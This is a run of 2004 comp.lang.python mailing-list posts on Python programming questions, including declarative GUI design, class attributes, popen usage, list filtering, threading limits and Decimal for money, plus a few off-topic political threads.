Fri, 24 Sep 2004 10:17:06 -0400, Ed Leafe wrote: > On Sep 24, 2004, at 10:01 AM, Carlos Ribeiro wrote: > > [...my sample...] > > class MainFrame(FrameDescription): > > > > class b1(ButtonDescription): > > size = (40, 40) > > text = "b1" > > [...your question...] > How is this more powerful/flexible/robust than something like: > > class MainForm(dabo.ui.dForm): > def __init__(self, parent=None): > self.addObject(ButtonDescription, "b1") > self.b1.Size = (40,40) > self.b1.Caption = "b1" Ok. I'll try to answer your questions, but first some background is needed to focus the discussion. We can broadly define three ways to implement GUI description: (a) Imperative, (b) Data-driven and (c) Declarative. Dabo uses a imperative approach (as do wxPython and almost all other GUI packages for Python). Some packages are available which take a description of the UI and build it, using XML or some other intermediary data representation. Glade (for GTk) works this way. I'm using a declarative approach -- using Python native class declarations to build the UI definition. Why do it this way? First of all, it's an *experiment*. It's something I'm doing because I feel that it has potential to be better than other approaches. It's also based on my experience with other tools. Delphi forms are stored in a intermediate format that is read by the application; it's really data driven, but the language "reads" for the programmer as a declarative language. It's much more readable than, for example, a XML file or a Python dict storing the UI definition. I also remember the old days of dBase 2 and FoxPro (for DOS), where it was easy to build data entry screens with just a few lines of declarations embedded in the same program, with no need to create separate data files, etc. What I'm trying to do is to bridge the last gap here: having a readable declaration of the interface, written in pure Python code, in such a way as to allow the programmer to work with a single language all the time. As I said, there's nothing wrong with other approaches, but I *think* that my approach will show its value once we start to use it for day-to-day coding. I may be wrong, but why can't we try it? DESIGN GOALS The system is being designed for readability and flexibility. It's not being designed to be powerful, in the sense of fine control over the UI, but to be as simple to use as possible, and both things (power vs. simplicity) are at odds sometimes. I'm yet to see how big a compromise must be made. The first part is the metacontainer engine. It's a metaclass that handles creation of nested classes in such way as to preserve some information that is lost when Python parses the code; namely, the ordering of the declarations. It also converts nested classes into instances, which is needed for later use. This engine is totally independent of its use. You can use the engine anytime a declarative language is useful: form design, reports, database declarations, etc.. (In fact, the design was inspired by Ian Bicking's sqlobject way to declare object entities; I just wanted a way to generalize it for other stuff). Over this engine (that is already working and is nicely encapsulated), I'm building a generic Form class. I could be doing the same for databases, or for reports. Everything will share the same engine and the same way to write declarations. What will change is the base classes used for this purpose, and the way the resulting class definition will be used. The class description works together with a renderer object. They collaborate to convert the declaration of the UI into a real representation -- for example, a wxFrame filled with all controls needed. It's probably slower than executing code written by hand. But it's easier to write, because the engine can handle a lot of the stuff that has to be done manually by the programmer. This approach is not being design for speed, but nothing prevents it from being fast. A good part of the "black magic" is done by the metaclass when the class declaration is first read, parsed and byte-compiele by Python. The result of the rendering can also be cached for later use, so it's not really needed to render it everytime it's needed. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From news at NOwillmcguganSPAM.com Fri Sep 3 13:29:19 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Fri, 03 Sep 2004 18:29:19 +0100 Subject: Problem with 2.4(alpha3) Message-ID: <4138a9f0$0$22757$db0fefd9@news.zen.co.uk> Hi, After installing the lastest alpha, on Win 2k, I found that my scripts no longer worked. It turns out that the .py file assocations had the switches -n and -e set for 'open'. pyhton.exe was reporting unkown option for these switches. I removed them and it seems to have fixed it. Is there a problem with the installer, or some other issue when installing 2.4 over 2.3.4? Thanks, Will McGugan From albalmer at att.net Thu Sep 9 11:47:55 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 09 Sep 2004 08:47:55 -0700 Subject: Xah Lee's Unixism References: <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <413f6044.512285562@News.individual.net> Message-ID: On Wed, 08 Sep 2004 23:36:49 GMT, iddw at hotmail.com (Dave Hansen) wrote: >On Tue, 07 Sep 2004 10:29:04 -0700, Alan Balmer >wrote: > >>On Sat, 04 Sep 2004 00:49:18 GMT, gwschenk at fuzz.socal.rr.com (Gary >>Schenk) wrote: >> >[...] >>>Don't you dittoheads ever get your facts right? >> >> >>What's a "dittohead"? Are you trying to convey a personal insult of >>some kind? Please let me know, so I can call you a name, too. > >A "dittohead" is someone who regularly listens to and agrees with Rush >Limbaugh (popular conservative U.S. radio talk show host). It is a >tradition that callers on his show (at least those that agree with >him) start their call with something like "Country redneck dittos to >you, Rush," or "Hey, Rush, blues-pickin' Cajun dittos" before >launching into the subject of their call. It is intended to be an >insult implying the "dittoheads" don't have any thoughts of their own, >but merely are told what to think (probably by Rush), and do so. The >"dittoheads" have embraced the moniker but not the implication, seeing >the insult as an act of desperation attacking the person (ad hominem) >rather than addressing the issues. > Ah, I see. Under the circumstances, that last observation may be correct, especially when extended to those who cover their lack of knowledge by accusing others of not having their facts right. I have seen most of a TV interview with Mr. Limbaugh, when he was in the news for prescription drug abuse, and I have heard him on the radio briefly a couple of times. I find it distasteful and switch to Tony Snow . -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From jdhunter at ace.bsd.uchicago.edu Thu Sep 23 17:06:16 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Thu, 23 Sep 2004 16:06:16 -0500 Subject: lfs confusion In-Reply-To: (Andrew Dalke's message of "Thu, 23 Sep 2004 20:04:53 GMT") References: Message-ID: >>>>> "Andrew" == Andrew Dalke writes: Andrew> You're beyond my knowledge there. I thought that Python Andrew> did the check automatically and didn't need the CLAGS= ... Andrew> I compile from CVS source without special commands and it Andrew> Just Works. Well, the reason I have embarked on this path is to find out if my zope has LFS support or not. Your post gave me the inspiration to just dig through the zope configure script and find out what they were doing (I've hit the 2GB limit one too many times with the zobd to let myself do it again). In inst/configure.py, I found def test_largefile(): OK=0 f = open(sys.argv[0], 'r') try: # 2**31 == 2147483648 f.seek(2147483649L) f.close() OK=1 except (IOError, OverflowError): f.close() if OK: return ...else raise an error message... I pass the 2**31 test but fail your sys.maxint * 3L >>> fd = file('/dev/null') >>> fd.seek(2147483649L) >>> fd.seek(sys.maxint * 3L) Traceback (most recent call last): File "", line 1, in ? OverflowError: long int too large It appears, that as far as zope if concerned, I can exceed the 2GB limit and so I should be safe, hopefully up to >>> sys.maxint/1.e9 9223372036.8547764 Should cover me for a while Thanks for your help, JDH From john.thingstad at chello.no Thu Sep 9 17:06:57 2004 From: john.thingstad at chello.no (John Thingstad) Date: Thu, 09 Sep 2004 23:06:57 +0200 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> Message-ID: On Thu, 09 Sep 04 13:12:17 GMT, wrote: > I really want to know. People keep saying this but never say which > freedoms have been lost. > Since this is somewhat related to computer programming and AI I will reply. The US has started a initiative to integrate all information about people in the USA into a central database. This includes confidential information like your medical files. Think what you say to your psychologist is confidential? Think again. Being paranoid can be enough to get a "red flag". They will have access to all your credit records and will monitor all your travels in and out of the country. If you buy flowers on the apposite side of town they can deduce that you have a lover and use this as a means of distortion. (Edgar A. Hoover style) Initially this was just supposed to be used to monitor terrorist like behaviour but now the FBI and CIA are also seeing the power of such a system. The main challenge in computing is sieving through the amount of data. Politically it is to pressure the foreign governments to wave their privacy protection acts and allow unlimited access to information to a foreign power. Don't know what you think of this but it scares the hell out of me! -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From godoy at ieee.org Wed Sep 1 11:14:05 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 01 Sep 2004 12:14:05 -0300 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> Message-ID: "Dan Perl" writes: > Not in Python. A user of my library has to invoke the parent's class > __init__ in their own __init__. What happens if, in a future release, I get > rid of the __init__ in the parent class? Or the other way around. An early > release does not have a parent __init__, the users don't invoke it because > they can't, and then, in a future release, I add the parent __init__ because > I added some attributes. It breaks all the users' code. This is poor > encapsulation. I'm getting in the middle of the discussion so forgive-me if this example doesn't apply here. >>> class test(object): ... def test(self): ... print "Just a test" ... >>> class derived(test): ... def __init__(self): ... test.__init__(self) ... def showit(self): ... self.test() ... >>> d = derived() >>> d.showit() Just a test >>> There was no "__init__" explicitly defined in 'test'. Be seeing you, -- Godoy. From rff_rff at remove-yahoo.it Thu Sep 2 07:58:45 2004 From: rff_rff at remove-yahoo.it (gabriele renzi) Date: Thu, 02 Sep 2004 11:58:45 GMT Subject: python.NET vs. IronPython In-Reply-To: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> References: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> Message-ID: Guyon Mor?e ha scritto: > Can anyone tell me the difference between python.net and IronPython? > the former is a bridge from CPython to .ent, the latter is a reimplementation of Python over .net . From aleaxit at yahoo.com Wed Sep 8 05:30:38 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 11:30:38 +0200 Subject: Property confusion References: Message-ID: <1gjsl5o.15bvxp2jhbk2gN%aleaxit@yahoo.com> kepes.krisztian wrote: ... > class A: ... > GS=property(g,s) > If I not use object, the GS is used as member, not property. It's BOUND as an instance attribute, after which that takes precedence. Only newstyle classes can fully support the new descriptors; classic classes cannot, that would break backwards compatibility. Always use newstyle classes unless you specifically need to support legacy code. Handiest way may be to always start your modules with __metaclass__ = type This makes all parents-less classes newstyle by default. Without this global, a parent-less class must be oldstyle by default, to keep full backwards compatibility with Python as it was 3+ years ago. Alex From deetsNOSPAM at web.de Tue Sep 7 14:00:58 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Tue, 07 Sep 2004 20:00:58 +0200 Subject: gc.get_referrers trouble Message-ID: Hi, I'm in the process of debugging a mem-leaking app. A recent thread here on c.l.py mentioned the use of the gc module, so I gave it a try. However, using get_referrers() yields in literally thousands of objects for even the tiniest example like this: import gc a = [1] print gc.get_referrers(1) Running that from bash gives me this: # python /tmp/test.py | wc 23 7196 67165 Now I'm confused - how do I interpret the results of get_referrers() correctly? -- Regards, Diez B. Roggisch From aleaxit at yahoo.com Tue Sep 14 08:41:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 14:41:34 +0200 Subject: funcs vs vars in global namespace References: Message-ID: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> David Rysdam wrote: ... > def sumWithGlobal(a): > return a + b ... > #Here is define sumWithGlobals but not b and it still works. Why? > #Shouldn't I get an error that b is undefined, since it isn't in the > #globals dict of the eval? > print 'Case 4: Attempt to set just the function sumWithGlobal (succeeds > for unknown reason' > print eval("sumWithGlobal(2)", {'sumWithGlobal':sumWithGlobal}) > print The function sumWithGlobal, internally, uses the global dictionary of the module it was defined in, NOT that of the module it's being called from, including the "kinda sorta pseudo" module you have within an eval. This also explains: > If I add a "print globals()" to sumWithGlobal, I see {'b':2} in there in > cases 1, 2, 4 and 5. What am I doing wrong? You're misunderstanding Python globals: they are per-module, not "across all modules". Alex From dontwant at spam.com Sat Sep 4 11:20:05 2004 From: dontwant at spam.com (Courageous) Date: Sat, 04 Sep 2004 15:20:05 GMT Subject: Proposal for removing self References: <1gj65zl.1cuz9ub5xyo3rN%aleaxit@yahoo.com> Message-ID: <75njj015uaeekq6m6eb6fgknl7eugce5c1@4ax.com> >Java's generics aren't nearly as liberal as C++ templates. They're basically >just syntax sugar for casting, so I doubt this would change much. I still >prefer the explicit "this." or "self.", I prefer explicit self, but have often wished that it could disappear syntactically as the first argument to methods. I've never seen a really compelling reason for that. C// From davecook at nowhere.net Mon Sep 20 21:59:26 2004 From: davecook at nowhere.net (Dave Cook) Date: Tue, 21 Sep 2004 01:59:26 GMT Subject: python is going to die! =( References: Message-ID: In article , julio wrote: > Sorry but there is no another way, c# .net and mono are going to rip > python, not because python is a bad lenguage, but because is to darn old I don't really get the connection between the two. C# is a very different type of language, with a different market. And I still don't understand the "why" of mono. > What does c# .net has that python doesnt ? (significant features) > > -- tools,tools,tools : Because it needs lots of tools to be useable. A lot of those tools simply don't apply to Python. > have people that likes python ever used an ide? What exactly will one do for me? Concrete examples appreciated. Dave Cook From danb_83 at yahoo.com Thu Sep 9 01:26:46 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 8 Sep 2004 22:26:46 -0700 Subject: Remove items from a list References: Message-ID: qdunkan1 at hotmail.com (Quinn Dunkan) wrote in message news:... > Egbert Bouwman wrote in message news:... > > On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote: > > > I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. > > > > > > x = 0 > > > for each in _dbases: > > > if each[-4:] <> ".dbf": > > > del each # also tried: del _dbases[x] > > > x = x + 1 > > > > > > I must be doing something wrong, but it acts as though it is.... > > > > > The answers you received don't tell you what you are doing wrong. > > If you replace 'del each' with 'print each' it works, > > so it seems that you can not delete elements of a list you are > > looping over. But I would like to know more about it as well. > > egbert > > "for each in ..." makes 'each' signify an element of _dbases. Then > "del each" makes 'each' no longer signify anything. So the above doesn't > really do anything at all. "del _dbases[x]" however does work, but > notice that if you delete element 3, element 4 becomes element 3, etc. Then > when 'x' is incremented to 4, you've skipped what used to be element 4 (which > is now element 3). In general, modifying a list while iterating over it is > more trouble than it's worth. Go with the listcomp solutions. And if for some reason you can't use listcomps, you can use an approach like: for (x, each) in enumerate(_dbases): if each[-4:] != ".dbf": # don't use del, just mark the slot as empty _dbases[x] = None # Now filter out Nones _dbases = [x for x in _dbases if x is not None] From jerf at jerf.org Tue Sep 7 16:18:49 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 20:18:49 GMT Subject: unexplained behavior of tkMessageBox.askyesno References: Message-ID: On Tue, 07 Sep 2004 21:43:02 +0200, Peter Kleiweg wrote: > If I have used openProject(), the function makeClean() always > prints 'False', no matter what I choose. If I had to guess, I'd say the problem is that you aren't using Tk correctly. You really need to run root = Tk() root.mainloop() to be confident everything will work as advertised. Which means you'll need to re-structure your program a bit. Tk, as GUI toolkits go, is surprisingly effective without its mainloop running; many GUI toolkits won't even get that far. However, in my experience, you'll get random-seeming failures from anything that requires events to work properly, and "mouse clicking" is an event. From klappnase at web.de Sun Sep 5 19:14:36 2004 From: klappnase at web.de (klappnase) Date: 5 Sep 2004 16:14:36 -0700 Subject: Linux application deployment References: <413B2D73.3010106@cs.com> Message-ID: Jarek Zgoda wrote in message news:... > Grant Edwards pisze: > > >> import sys, os > >> > >> me = os.path.abspath(sys.argv[0]) > > > > That's only mostly reliable. Nothing in Linux/Unix actually requires that > > argv[0] be the program's path. It is the convention to pass that as > > argv[0], but there may be corner cases where it doesn't work. > > Based on Python docs: > > """ > argv > > The list of command line arguments passed to a Python script. > argv[0] is the script name (it is operating system dependent whether > this is a full pathname or not). If the command was executed using > the -c command line option to the interpreter, argv[0] is set to the > string '-c'. If no script name was passed to the Python interpreter, > argv has zero length. > """ > > http://docs.python.org/lib/module-sys.html > > In my opinion, this would be enough to get full path of currently > running program, if run from script. Are there any caveats (except this > "-c" option, which I don't count, as is not relevant in most cases)? If you use a symbolic link to start the program sys.argv[0] will return the location of the link instead of the path to your application file I think. Anyway you can get the directory of the application file with sys.path[0] if you need it. However, why not just put all application files into one directory (like /usr/local/share/yourApp or /opt/lib/myApp or something) and start it from a link from /usr/local/bin (or /opt/bin) to your app's main program file instead of messing around with sys.path , at least it's the easiest solution and I don't really see the benefit of putting the files into different directories unless you have modules other people might want to use, in which case python's site-packages directory would probably be the preferred location. Just a personal opinion of course. Regards Michael From eurleif at ecritters.biz Tue Sep 7 04:48:29 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 07 Sep 2004 04:48:29 -0400 Subject: Anyone know anything named DX? In-Reply-To: <1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com> References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de> <1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com> Message-ID: <2q5am9Fqu2fuU3@uni-berlin.de> Alex Martelli wrote: > There's a recipe for the first part of this (generating > non-totally-ranom passwords by pastiche, i.e. Markov Chain) in the 1st > printed edition of the Cookbook -- it would be neat to add a back-end > for the second part, the check with the Google API... I've played around with Markov Chains the Google API before, and it wouldn't be very hard to implement (if you don't care about speed or sanity, anyway). I think the toughest part would be gathering word lists for the subject matter Roger Binns mentioned. From apardon at forel.vub.ac.be Fri Sep 3 09:47:07 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 3 Sep 2004 13:47:07 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: Op 2004-09-03, Carlos Ribeiro schreef : > [Antoon Pardon] >> Just because I think that >> >> for ... >> if ... >> for >> loop >> code >> endfor >> endif >> endfor >> remainder >> >> is in general more readable than >> >> for ... >> if ... >> for ... >> loop >> code >> remainder >> >> I'm writing spaghetti code. > > I would not go that far as to say that you are writing spaghetti code. > But I really think that the Python-styled code is easier to read. It > may be a matter of personal opinion. Fine then we will have to agree to disagree on this point. > One distinct advantage of > Python's style is that it makes for a slightly shorter code, which in > turn fits better into the editing window. And nothing stops you from > using comments or whitespace to mark the end of the enclosed blocks. > So this is not necessary... and insisting loudly on your point doesn't > help, either. But a lot of things are not necessary but ended up in python because they were thought to be usefull. So that this is not necessary can hardly be a strong point against it. What irks me is that when some proposals are done, people come with arguments against the proposal that would disallow a lot of other things already in python if such an argument would really be so strong. Explicit is better than implicit is one that comes to mind. If python wouldn't do anything implicit then python would be a whole different language and IMO would probably be far less usefull. -- Antoon Pardon From ruchika_khera at hotmail.com Thu Sep 9 01:28:11 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 8 Sep 2004 22:28:11 -0700 Subject: popen3 and Perforce Message-ID: <82880e86.0409082128.253ca340@posting.google.com> Hi, I am trying to automate the build process for which I need to run P4 commands from the Python script. After getting sources from Perforce, I need to build them using Visual C++ from the script. I wrote a small script that calls the P4 sync command from the script - try: in, out, err = os.popen3('P4 -s sync -f /dev/src/...') x = len (in.readlines()) y = len (out.readlines()) z = len (err.readlines()) print x print y print z except IOError: print "IOError" except: print "Unknown" Tha above returns from os.opopen3 almost immediately, goes to x = len (in.readlines()) and then jumps to the IOError exception. Can anyone help me figure out whats happening. Is this the right way of using popen3 commands. Anyone has other suggestions on how to automate this. Do I need to wait for the "P4 sync" command to complete before proceeding with reading from the files? How would I know if the "P4 sync" command is actually executing? Thanks. Ruchika From marklists at mceahern.com Sun Sep 12 19:59:16 2004 From: marklists at mceahern.com (Mark McEahern) Date: Sun, 12 Sep 2004 18:59:16 -0500 Subject: Python or 4NT? With a question or two about popen() In-Reply-To: <95c29a5e.0409121552.af6bdba@posting.google.com> References: <95c29a5e.0409121552.af6bdba@posting.google.com> Message-ID: <1095033555.25153.14.camel@dev.internal> On Sun, 2004-09-12 at 18:52, Robin Siebler wrote: > And how, exactly, do I *use* popen4()? import os command = 'ls -al nonexistent' fin, fout = os.popen4(command) # I never futz with stdin. fin.close() output = fout.read() exitCode = fout.close() if exitCode: print 'Error running %(command)s:\n%(output)s' % locals() else: print 'Success running %(command)s:\n%(output)s' % locals() This may have minor syntactical errors or typos--since I'm not verifying it by running it. But mostly, the above pattern should work. Questions? // m From saurabhagarwal1981 at gmail.com Thu Sep 23 05:10:14 2004 From: saurabhagarwal1981 at gmail.com (Saurabh Agarwal) Date: Thu, 23 Sep 2004 14:40:14 +0530 Subject: How to send SIGTSTP, SIGCONt signals to a script scheduled using cron Message-ID: Hi all, I had scheduled a script using cron and got pid of it when it is running as it is running for a long time.The script is somewhat like cmd sleep 10 cmd2 sleep 20 .. This is scheduled using cron now i want to send SIGTSTP signal to it to suspend it and SIGCONT to resume it but these signals are not working please help urgently. kill -SIGTSTP pid Thanks -- Saurabh Agarwal 9868358071 From hans at zephyrfalcon.org Thu Sep 23 13:29:39 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Thu, 23 Sep 2004 13:29:39 -0400 Subject: up with PyGUI! In-Reply-To: References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> Message-ID: <41530803.3090805@zephyrfalcon.org> Nicolas Fleury wrote: > What I'm suggesting is to avoid the redundacy and do: > parent.Add(Button(...)) > > I've done it for some GUI framework where I work encapsulating wxPython. > The drawback is that you need to delay the creation of widgets, which > means some attributes might be stored twice. But it's definitely easier > to use. I'm not sure it's *that* much easier... all you're saving is one parameter. > Another thing I'm suggesting is a mechanism to not destroy a widget > until it's corresponding python object is destroyed. It's more complex, > but Python has already ownership with refcount, garbage collection, etc. > and I think a truly pythonic GUI framework should use the same ownership > mechanism. Hm. I'm not sure how wxPython handles that, and if it would be possible to impose such a system on top of it. >>> It could also be a good idea to take the occasion to respect PEP8. >> >> Which recommendations of the style guide does the Wax code violate? > > IIRC, method names beginning with lowercase, as all the Python API. Wax follows the wxPython standard here. Since most Wax controls derive directly from wxPython classes, it would make little sense to add lowercase methods to the mix (next to the existing uppercase methods), or to convert them. >>> Note also that "import wax" would be better than "from wax import *". >> >> I'm considering it. This way, it would also be possible to import >> things on demand. On the other hand, I don't like to write 'wax.' >> before everything. > > It's just that when you work multiple modules, autocompletion for a > module doing a "from wx import *" is a nightmare (and is also slowing > debuggers, since so many symbols are in each module namespace). If wax > becomes big, it would also be a pain. You can do "import wax as w" ;) I personally like 'from wax import *', kind of like how Tkinter is usually imported. Either way currently works, though. Should I use the "lazy" importing (which is admittedly useful), then the star-import would not be possible anymore, I think. -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From mfuhr at fuhr.org Wed Sep 29 09:50:34 2004 From: mfuhr at fuhr.org (Michael Fuhr) Date: 29 Sep 2004 07:50:34 -0600 Subject: Maximum number of threads References: Message-ID: <415abdaa$1_1@omega.dimensional.com> Kirby Angell writes: > We are porting our applications from Python 2.2 on RH9 to Python 2.3 on > RH9. One of our apps used to be able to create threads with wild > abandon, 800 or more if necessary. With Python 2.3 we are hitting a > hard limit of 254 on RH9 and around 400 on FC2. What happens when you hit this "hard limit"? If there's an error message then it might hint at the problem. > What is the limiting factor for the number of threads we can create? Is > there a way to increase it? I'm not current on Linux threading models -- do these versions of Linux create a new process for each thread? If so, could resource limits be preventing you from creating more threads? -- Michael Fuhr http://www.fuhr.org/~mfuhr/ From sholden at flexal.cs.usyd.edu.au Thu Sep 9 05:11:10 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 9 Sep 2004 09:11:10 GMT Subject: popen3 and Perforce References: <82880e86.0409082128.253ca340@posting.google.com> Message-ID: On 8 Sep 2004 22:28:11 -0700, Ruchika wrote: > Hi, > > I am trying to automate the build process for which I need to run P4 > commands from the Python script. After getting sources from Perforce, > I need to build them using Visual C++ from the script. > I wrote a small script that calls the P4 sync command from the script > - > > try: > in, out, err = os.popen3('P4 -s sync -f /dev/src/...') > x = len (in.readlines()) > y = len (out.readlines()) > z = len (err.readlines()) > print x > print y > print z > except IOError: > print "IOError" > except: > print "Unknown" > > Tha above returns from os.opopen3 almost immediately, goes to x = len > (in.readlines()) and then jumps to the IOError exception. > Can anyone help me figure out whats happening. Reading from an output only filehandle is probably doomed to fail. -- Sam Holden From greg.lindstrom at novasyshealth.com Fri Sep 10 13:10:48 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Fri, 10 Sep 2004 12:10:48 -0500 Subject: Building Very Large Records Message-ID: <008f01c49759$1e8e6af0$054b12ac@D18SYX41> Hello- I am working on a routine to pull information from an Oracle database and format it into fixed-length records. My problem is that the record layout is quite long (over 500 bytes) and contains dozens of fields. How would *you* go about building such a beast? I know that using the += operator is a bad idea, as it creates a new copy of the string each time. How about the struct.pack() method? A very big '%-12.12s%-50.50s.......' statement? Other ideas? It does not have to be blazingly fast, but it doesn't have to suck, either. I don't know enough about Oracle SQL yet, could I format the data in the SQL call? Thanks, Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From donald.welch at hp.com Wed Sep 22 16:04:22 2004 From: donald.welch at hp.com (djw) Date: Wed, 22 Sep 2004 13:04:22 -0700 Subject: detecting variable types References: Message-ID: <4151dbb1@usenet01.boi.hp.com> Jay wrote: > Thanks, Peter. > > Here's what I'm trying to do: > > I have a function like this: > > def func(**params): > > # if params[key1] is a single string > # do something with params[key1] > > # if params[key1] is a list of strings > for val in params[key1]: > # do something > > Could you suggest a better way to do this without detecting the type? > > > Jay. > > > "Peter Hansen" wrote in message > news:Y-WdnWCkPIytTszcRVn-vQ at powergate.ca... >> Jay wrote: >> > I'm sure this is a really dumb question, but how do you detect a > variable >> > type in Python? >> > >> > For example, I want to know if the variable "a" is a list of strings or > a >> > single string. How do I do this? >> >> Use the builtin function "type()", but note the following: >> >> 1. Variables don't actually have types in Python (and they're usually >> called "names" in Python, for various reasons), but the data they are >> currently bound to does have a type and that's what type() returns. >> Often the distinction won't matter to you... >> >> 2. Most of the time people trying to do what you are probably trying >> to do are going about things the wrong way, often from experience >> with other languages. Lots of Python folks would be happy to introduce >> you to "better" ways to do things, if you'll explain the use case >> and tell us what you're actually trying to accomplish. (Of course, >> using "type()" will work, but it's rarely considered the best >> approach in the Python community.) >> >> -Peter One obvious way, in this case is to always pass in a list of strings. A single string would be passed in as a list with a single string item in it. def func( stringlist ): for s in stringlist: #do something with s func( [ "single string" ] ) func( [ "more", "than", "one", "string" ] ) Other than that, if the functions are really doing something very different given different parameter types, then I would make separate functions. -Don From __peter__ at web.de Tue Sep 7 13:45:53 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 07 Sep 2004 19:45:53 +0200 Subject: hex value in string back to real hex value References: <106645cc.0409070847.40b87e6e@posting.google.com> Message-ID: jack wrote: > I get in a program an hexa value codes in a string for example \xe7 > which correspond to a french character. > > The string would be "\xe7t\xe7" and I want to write in a file ?t? and > not \xe7t\xe7. "\xe7t\xe7" _is_ the same as "?t?" if you are using e. g. the ISO-8859-1 encoding, so chances are you will see ?t? if you open the file in a text editor without the need of prior conversions. But I may be misunderstanding you and you really have "\\xe7t\\xe7" - in that case you can use de/encode to switch between the two representations: >>> "?t?".encode("string_escape") '\\xe9t\\xe9' >>> _.decode("string_escape") '\xe9t\xe9' >>> print _ ?t? (In the interpreter the result of the previous calculation is assigned to _ if it is not None) Peter From rich.teer at rite-group.com Wed Sep 1 20:01:39 2004 From: rich.teer at rite-group.com (Rich Teer) Date: Thu, 02 Sep 2004 00:01:39 GMT Subject: Xah Lee's Unixism In-Reply-To: <819.740T630T6713647@kltpzyxm.invalid> References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <819.740T630T6713647@kltpzyxm.invalid> Message-ID: On Wed, 1 Sep 2004, Charlie Gibbs wrote: > X Top-posted messages will probably be ignored. See RFC1855. > / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! Well said, that man! (Here, HTML messages are bounced by my mail server, so I don't even see 'em...) -- Rich Teer, SCNA, SCSA, author of "Solaris Systems Programming", published in August 2004. President, Rite Online Inc. Voice: +1 (250) 979-1638 URL: http://www.rite-group.com/rich From aleaxit at yahoo.com Fri Sep 24 03:28:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 09:28:20 +0200 Subject: Why not FP for Money? References: <10l0lpt9n0n5k9c@news.supernews.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> Message-ID: <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > A native Money type, either with the $ signal ($35.72) or the suffix > (35.72D) would not present the same issues, because the literal would Right, but in practice I find that: def d(x): return decimal.Decimal(str(x)) appears to work pretty well, judging from early experimentation. Alex From peter at engcorp.com Fri Sep 24 07:41:44 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 07:41:44 -0400 Subject: file read, binary or text mode In-Reply-To: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: Guyon Mor?e wrote: > what is the difference? > > if I open a text file in binary (rb) mode, it doesn't matter... the read() > output is the same. If you are on Linux that's the case... or under other conditions. Maybe describing your platform and showing an example of what you're trying to do would be helpful. -Peter From peter at engcorp.com Mon Sep 27 12:02:16 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 12:02:16 -0400 Subject: synchronize a block In-Reply-To: References: <2rqduhF1di4lmU1@uni-berlin.de> Message-ID: Steve Holden wrote: > "In the face of ambiguity, refuse the temptation to guess" :-) > > One of the best features of c.l.py is how questions phrased in the most > ambiguous terms are often slowly elaborated into meaningful enquiries. Sometimes, and more so lately, *painfully* slowly. I'm somewhat saddened by the waste involved in some of those threads where the OP posts a vague question, we all spend days replying with various guesses at what was really intended, and then finally the OP posts again (and sometimes they don't even do us that courtesy!) and says merely "oh, it wasn't that complicated, I just meant X" and it turns out to have been a FAQ item anyway. :-( But then, Steve, you're an optimist and I'm not. ;-) -Peter From ivoras at __-geri.cc.fer.hr Thu Sep 16 11:13:25 